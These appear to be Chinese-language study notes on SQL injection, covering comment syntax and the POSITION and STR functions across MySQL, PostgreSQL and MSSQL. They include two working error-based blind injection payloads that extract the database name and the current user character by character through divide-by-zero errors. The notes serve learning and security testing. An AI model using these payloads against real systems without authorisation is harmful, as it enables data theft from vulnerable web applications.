判断数据库类型
mysql:-- 和# `#`和`--`的区别就是:`#`后面直接加注释内容,而`--`的第 2 个破折号后需要跟一个空格符在加注释内容。
position 函数用法
标准语法
POSITION(substring IN string)
SELECT POSITION('cd' IN 'abcdefcd'); -- 返回 3
SELECT POSITION('x' IN 'abcdef'); -- 返回 0
- 功能:返回子字符串
substring在字符串string中第一次出现的起始位置 - 返回值:整数(索引从 1 开始,若未找到返回 0)
MySQL/MariaDB:使用 POSITION 或等效的 LOCATE 函数
PostgreSQL:支持标准 POSITION 函数,语法与标准 SQL 一致。
SQL Server:使用 CHARINDEX 函数
Oracle:使用 INSTR 函数:
注意事项
- 大小写敏感:取决于数据库的配置(如 MySQL 默认不区分大小写,PostgreSQL 默认区分)。
- 索引起点:所有数据库的返回值均从 1 开始(未找到返回 0)。
案例
id=111 || 1/(1-position('s' in database()))--
- position('s' in database()):返回数字,如果数据库的首字母为
s,那么返回 1 - 1/(1-1):这里 position 返回的数值如果是 1,那么 1-1 等于 0,但是除数是不可以为 0 的,所以 1/0 报错
- 所以通过页面的返回情况,可以判断数据库的首字母为
s - position('sa' in database()):同样的思路,遍历第二个字母
a,依次尝试,爆出数据库名
PostgreSQL 注入
注释符:-- 单行注释和 /**/ 多行注释这两种
mssql 注入
sql server 用户 dbo 和 sa
id=2-str(1/(ascii(substring(user,1,1))-99)) --
STR()函数
STR ( float_expression [, length [, decimal ] ] )
float_expression:需要转换的浮点数或整数。length(可选):结果字符串的总长度,包括小数点和符号位。decimal(可选):小数点后的位数。
如果未指定 length 和 decimal 参数,STR 函数将使用默认值。默认 length 为 10,默认 decimal 为 0。
示例:
SELECT STR(123.456) -- 结果:123
SELECT STR(123.456, 6, 2) -- 结果:123.46
SELECT STR(-123.456, 7, 2) -- 结果:-123.46